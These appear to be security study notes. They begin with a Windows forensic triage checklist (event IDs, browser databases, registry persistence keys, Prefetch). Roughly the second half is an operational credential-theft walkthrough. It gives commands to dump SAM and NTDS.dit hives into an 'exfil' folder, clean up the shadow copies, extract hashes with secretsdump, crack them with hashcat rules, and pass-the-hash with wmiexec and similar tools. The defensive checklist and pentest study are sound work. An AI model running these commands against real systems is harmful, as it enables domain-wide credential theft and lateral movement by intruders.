Some intitial questions to get started

• Time frame. Useful for investigation; was it yesterday, a week ago or a month? We use this for timestamps, event logs, SIEM.
• What issues are experienced?
• Position within the organisation? Could it be a phish (sales, HR, finance) - check emails.

2 DFIR cases rarely use the same tactics, techniques and procedures (TTP’s) & threat actor activity can always change the artefact, however the following are some technical areas to start examining.

Event Logs

These are locate at C:\Windows\System32\winevt\logs

Some log events found in Security.evtx that are of interest:

• 4624/4634 — successful logon and logoff; there’s a field here called LogonID which you can use to track how long an attacker was logged on for. You see what process was used, logon type, and if you’re lucky, the workstation name and IP address from where they initiated the logon.
• 4672 — an account logon with superuser rights; they’ve got admin rights. If they used explicit credentials, the logon EID would be 4648.
• 4720 — an account was created; it’s not uncommon for attackers to do this to maintain persistence
• 4625 — failed logon attempt; if you see multiples of these one after the other, someone’s trying to brute force their way in
• 1102 (Security), 104 (System) — audit log was cleared; attackers small and large do this to cover their tracks.

Log events in OAlerts.evtx (if enabled) show whenever a user opens a MS Office file. The pop-ups from these files are also logged, useful to see if a user has enabled macros or not. The filename is also logged and therefore a great way to see if the user was phished.

Below we can see an SQL command was run on opening of the document

Browser History

Google Chrome

Profile data is located in C:\Users{Username}\AppData\Google\Chrome\User Data\Default. This directory contains all of the user’s information as SQLite3 databases (History, Cookies, Login Data, Login Data Journal for the most useful ones). We can use the free DB Browser to view it. As you can see below there are a number of tables, perhaps the most useful are; urls, downloads & keyword_search_terms

Firefox

Profiles are located in C:\Users{Username}\Application Data\Mozilla\Firefox\Profiles. Each profile contains a places.sqlite file keeping tracks of all of the user’s bookmarks, downloads and history. This is the same type of file as Chrome therefore the same DB Browser can be used.

Edge

Profile history is located in C:\Users{Username}\AppData\Microsoft\Windows\WebCache. In this directory is an Extensible Storage Engine (ESE) database file containing Internet Explorer and Edge’s browsing history named WebCacheV01.dat. This is an ESE database therefore can only be opened by ESE Database View (closed-source, developped by NirSoft only on Windows) or OSForensics.

Scheduled Tasks

Stored in C:\Windows\System32\Tasks can also be checked in Event Logs as EID 4698 (Scheduled Task created).

Persistence Mechanisms

First place to check is the Registry Hive C:\Windows\System32\config\SOFTWARE and the following keys as they will run on boot (RunOnce deletes on first run):

• SOFTWARE\Microsoft\Windows\CurrentVersion\Run
• SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Registry Viewer provides a nice GUI for this.

It will also show you any deleted keys — useful if the attacker deleted this persistence mechanism because they completed their objective and wanted to clean up!

Other keys in the SOFTWARE hive include:

• Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit - this should be set to C:\Windows\system32\userinit.exe
• Microsoft\Windows NT\CurrentVersion\Winlogon\Shell - this should have the vale explorer.exe
• Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - anything in a user’s Start Menu will auto-run

Keys in the SYSTEM hive:

• CurrentControlSet/Services - are installed services on the machine

This will no doubt be a long list, which can be sorted by date of creation though probably better looking at the security event log for EID 4697 “a service was installed in the system”.

Recently Opened Files

Generally when a phishing email is successful, you’ll typically see

email -> document -> web link or macro -> powershell -> cmd (command line execution)

Each user on a laptop will have their own NTUSER.DAT file, which is their own personal history of activity. It’s a hidden and locked file in *C:\Users\username*, which means you will need a tool like Registry Explorer to be able to read and analyse it.

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU MRU (Most Recently Used), as the name suggests, shows the most recently used programs.

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs any file that a user opens will be captured here in the same MRUList as we saw in RunMRU. It’s a sure-fire way of determining what was opened — super important in the case of phishing campaigns or potentially unwanted program downloads as they usually name malware something stupid like dog.pdf.bat.

If those artefacts don’t show anything malicious, there is a final evidence of execution piece: Prefetch. These files are stored in C:\Windows\Prefetch as .pf files. Whenever a program is executed, it will create a .pf file for it which stores:

• Name and full path of the executable
• The first and last time it executed, the number of times it has been executed, and the files/handles that were used by the program at the time of execution
• The last 8 timestamps of when it was executed.

We can use Eric Zimmerman’s PECmd. This program also tags any malicious files or handles the program referenced in red.

Something to note: you may see multiple prefetch files for the same program. This is because prefetch files are created for each different path that the program was executed from. So, if I ran Google Chrome from my Desktop and the Downloads folder, I’ll have two prefetch files. This is why we see a hash-like value after ‘CHROME.EXE-’ below.

Resources Used

https://www.secjuice.com/how-to-handle-an-intrusion-on-a-windows-system/ https://darkdefender.medium.com/can-you-check-if-my-computers-been-hacked-f18e8f971aed

The user passwords are stored in a hashed format in a registry hive either as an LM hash or as an NTLM hash (NTLM has replaced LM which is a compromised protocol). This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM, SYSTEM privileges are required to view it.

We also need the System or Security registry hives to decrypt the SAM file and these can all be saved from an elevated command prompt using the Windows registry command line tool with the following syntax:

reg save hklm\sam .\sam
reg save hklm\security .\security
reg save hklm\system .\system

These files can then be brought to our attacking machine where we use Impacket’s secretsdump.py script

• SAM is the Registry hive
• SYSTEM is the System hive - note that system does not store AD cred info
• LOCAL simply states that we want to use the files that we specify (on the local system)
• SECURITY is the Security hive and is used to store AD cred info

secretsdump.py -sam sam -system system LOCAL

secretsdump.py -sam sam -security security -system system LOCAL

Worth noting that the first part of the hash in this case “aad3b435b51404eeaad3b435b51404ee” resolves to NULL as it is not storing as LM - if it were it would be very easy to crack!

Domain Controller

On a Domain controller there is no SAM database instead all the domain information including password hashes are stored in the NTDS.dit database.

There are a few methods to take a copy of NTDS.dit however slightly more involved than the reg save command, the file is in use and some methods may not work for one reason or another.

Method 1

The vss switch option that is required to make this method work is only available from Server 2016 or later, esentutl.exe can extract and save NTDS.dit (as well as SAM, SYSTEM & SECURITY).

esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\Users\Administrator\Desktop\ntds.dit

Method 2

Using the ntdsutil utility we can also dump the NTDS.dit, however this was blocked by my AV.

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

Method 3

Use the DC’s vssadmin application to create a volume shadow copy.

vssadmin.exe create shadow /for=c:

Next create the exfil directory and copy the NTDS.dit from the shadow copy there.

mkdir c:\exfil
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\ntds\ntds.dit C:\exfil\ntds.dit

Also extract the SYSTEM key from the registry or shadow copy so that we can extract the hashes.

reg save hklm\SYSTEM C:\exfil\system

Once we have exfiltrated the data to our attacking machine we can clean up.

vssadmin.exe delete shadows /for=c:
rmdir c:\exfil

Method 4

On Server 2008 or later we can use diskshadow to dump the NTDS.dit, first create a shadowdisk.exe script to create a shadow disk copy of C: this can be called shadow.txt:

set context persistent nowriters
set metadata c:\exfil\metadata.cab
add volume c: alias trophy
create
expose %someAlias% z:

Execute it

mkdir c:\exfil
diskshadow.exe /s C:\users\Administrator\Desktop\shadow.txt
cmd.exe /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit

Lastly we need to cleanup inside the interactive diskshadow utility:

diskshadow.exe
    > delete shadows volume trophy
    > reset

Method 5

If you have credentials for an account that can log on to the DC, it’s possible to dump hashes from NTDS.dit remotely via RPC protocol with impacket:

impacket-secretsdump -just-dc-ntlm offense/administrator@10.0.0.6

Once again we can leverage secretsdump:

secretsdump.py -system system -ntds ntds.dit local

Once hashes are obtained we can either use Pass The Hash (pth) attacks or try to crack them to their clear text values.

Hashcat

First we can check what hardware hashcat will be using, as running on a GPU is considerably faster than the CPU.

hashcat -I

Cracking in it’s simplest form using hashcat, we use the rockyou wordlist. RockYou was a company that developed widgets for social networks including MySpace and Facebook. In December 2009 they had a databreach of 32 million user accounts and their unencrypted passwords.

hashcat -a 0 -m 1000 hashes /usr/share/wordlists/rockyou.txt

Where:

• -a 0 specifies the wordlist attack mode.
• -m 1000 specifies that the hash is NTLM.

This has stored the cracked hashes in the default ~/.hashcat/hashcat.potfile which we can then –show adding the usernames (–username):

hashcat --show --username hashes

Adding the year as a lot of users will add the year to the password to satisfy the digit requirement

hashcat -a 0 -m 1000 hashes /usr/share/wordlists/rockyou.txt -r add-year.rule

Where:

• -r add-year.rule is our custom rule file

which contains

$2$0$1$7
$2$0$1$8
$2$0$1$9
$2$0$2$0
$2$0$2$1
$2$0$2$2
$2$0$2$3
$2$0$2$4

Adding a number and a symbol

hashcat -a 6 -m 1000 hashes /usr/share/wordlists/rockyou.txt '?d?s'

This is using the character set below:

? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

To combine the above two methods (add the year followed by a special symbol) we need to make use of hashcat’s stdout command.

hashcat -m 0 --stdout /usr/share/wordlists/rockyou.txt -r add-year.rule > modified_rockyou.txt
hashcat -a 6 -m 1000 hashes modified_rockyou.txt '?s'

Additional rules can be found on the hashcat wiki, however one that has proved very useful is OneRuleToRuleThemAll which can be accessed on Github here.

hashcat -a 0 -m 1000 hashes /usr/share/wordlists/rockyou.txt -r OneRuleToRuleThemAll.rule

We can also combine wordlists (far too long for 2 x rockyou!).

hashcat -a 1 -m 1000 hashes /usr/share/wordlists/rockyou.txt /usr/share/wordlists/rockyou.txt

Pass The Hash

We can use the following programs and just pth;

secretsdump.py WORKGROUP/Administrator@10.1.1.1 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Mimikatz
Metasploit (SMB_LOGIN module)
CrackMapExec
xfreerdp
evil-winrm
wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
smbclient

Further reading on NTDS.dit: https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/

Resources Used

• https://en.wikipedia.org/wiki/Security_Account_Manager
• https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration
• https://bond-o.medium.com/extracting-and-cracking-ntds-dit-2b266214f277
• https://en.wikipedia.org/wiki/RockYou